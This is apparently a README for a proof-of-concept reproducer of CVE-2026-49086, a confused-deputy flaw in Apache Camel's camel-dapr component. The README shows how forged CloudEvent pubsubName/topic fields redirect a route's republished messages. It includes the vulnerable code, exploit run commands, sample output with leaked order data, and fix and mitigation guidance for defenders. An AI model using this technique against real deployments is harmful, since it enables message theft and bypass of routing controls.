
PoC reproducer for CVE-2026-49086 demonstrating a confused-deputy routing-header override in Apache Camel camel-dapr, enabling message redirection and data exfiltration via untrusted CloudEvent fields.
This project demonstrates a routing-header override (confused-deputy) flaw in Apache Camel's camel-dapr
component, tracked as CVE-2026-49086.
The Dapr pub/sub consumer (DaprPubSubConsumer) copies fields of the inbound (untrusted) CloudEvent into
Exchange message headers. Two of those — pubsubName and topic — are producer-direction routing headers
(CamelDaprPubSubName / CamelDaprTopic). When the same route later publishes with a dapr:pubSub producer,
DaprConfigurationOptionsProxy prefers a header value over the endpoint's configured value. So the inbound
envelope, which an untrusted message sender controls, silently overrides where the route republishes:
// DaprPubSubConsumer.createServiceBusExchange (affected 4.18.2) — untrusted envelope -> routing headers
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName()); // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC, cloudEvent.getTopic()); // CamelDaprTopic
// DaprConfigurationOptionsProxy.getOption (affected 4.18.2) — header WINS over endpoint config
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
? fallbackFn.get() // endpoint config (e.g. audit-broker/audit-log)
: exchangeFn.apply(exchange); // the header copied from the inbound CloudEvent
In a route that consumes from one topic and republishes to another (a common audit/forward/fan-out pattern),
an actor who can publish to the subscribed topic sets the CloudEvent's pubsubName/topic and redirects
the republished message to an arbitrary Dapr pub/sub component + topic — exfiltrating the payload to an
attacker-reachable broker, or bypassing the intended routing/ACLs. This is a confused-deputy: the app
republishes with its own Dapr credentials to a destination the attacker chose.
This PoC demonstrates the impact as message redirection / data exfiltration (CWE-441, from CWE-20).
Advisory: https://camel.apache.org/security/CVE-2026-49086.html
The fix stops the consumer from setting the two routing headers (
CamelDaprPubSubName/CamelDaprTopic); the other CloudEvent metadata headers are unchanged. The producer then always uses the endpoint-configured pub/sub + topic. (ADaprHeaderFilterStrategywas also added for catalog consistency, but the routing-header change is the effective fix.)
The vulnerability is entirely in Camel — the consumer copying CloudEvent.pubsubName/topic into routing
headers, and the producer preferring those headers. The Dapr sidecar is only transport. This reproducer injects
mock Dapr SDK clients (client=#mockClient, previewClient=#mockPreview) so the real
DaprPubSubConsumer and DaprPubSubHandler run unchanged with no sidecar: the mock preview client captures the
subscription listener, and the mock client records the publish target. The attacker driver then delivers a forged
CloudEvent to the captured listener — exactly what a sender able to publish to the subscribed topic triggers.
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");
The author intends every order to be mirrored to the fixed audit-broker/audit-log. But because the consumer
copies the inbound envelope's pubsubName/topic into the routing headers, the audit producer publishes to
whatever the envelope names — never to the configured audit stream.
Everything runs in one self-contained container.
CVE-2026-49086/
├── pom.xml # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitive) + spring-boot-web
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DaprMockConfig.java # mock DaprClient + DaprPreviewClient (dynamic proxies; no sidecar)
│ ├── PublishRecorder.java # records where the producer actually published
│ ├── SubscriptionRegistry.java # captures the consumer's subscription listener
│ ├── VictimRoutes.java # dapr:pubSub subscribe -> dapr:pubSub publish (audit)
│ └── ExploitController.java # attacker: deliver forged CloudEvents; compare publish target
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49086 — camel-dapr consumer routing-header override (confused deputy) ===
Route intent: mirror every order to a FIXED audit stream
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")
1) Ordinary order event (envelope pubsub=orders-broker topic=orders)
audit copy actually published to: orders-broker / orders
-> already NOT the configured audit-broker/audit-log: the envelope's routing fields leaked into the producer.
2) Malicious order event (envelope forged: pubsub=attacker-broker topic=exfil-secrets)
audit copy actually published to: attacker-broker / exfil-secrets
leaked order data: {"orderId":"A-1002","card":"4111-2222-3333-4444"}
>>> PROVEN: the inbound CloudEvent's pubsubName/topic overrode the route's hard-coded
>>> audit target, so an attacker who can publish to 'orders' redirects the order copy to
>>> an arbitrary pub/sub component + topic (data exfiltration / routing bypass): true
Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23630). After the fix the consumer no longer sets
CamelDaprPubSubName / CamelDaprTopic, so a dapr:pubSub producer downstream of a dapr:pubSub consumer uses
its endpoint-configured pub/sub component and topic.
Until upgrading, strip the routing headers between the consumer and any dapr:pubSub producer in the route (for
example removeHeaders("CamelDaprPubSubName,CamelDaprTopic")), and set the republish pub/sub + topic from a
trusted source.
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.
| Property | Value |
|---|
| Component | camel-dapr |
| Affected Class | org.apache.camel.component.dapr.consumer.DaprPubSubConsumer (sets PUBSUB_NAME/TOPIC headers from the inbound CloudEvent) |
| CWE | CWE-20 (Improper Input Validation) / CWE-441 (Unintended Proxy / Confused Deputy) |
| Impact | Redirect the republished message to an arbitrary Dapr pub/sub component + topic (exfiltration / routing & ACL bypass) |
| Preconditions | A route consumes from a dapr:pubSub topic and republishes via a dapr:pubSub producer; attacker can publish to the subscribed topic |
| Affected Versions | 4.12.0 through 4.14.7, 4.15.0–4.18.2, 4.19.0–4.20.x |
| Fixed Versions | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23630 (PR apache/camel#23886) |
| Credit | Leon Zlobecki |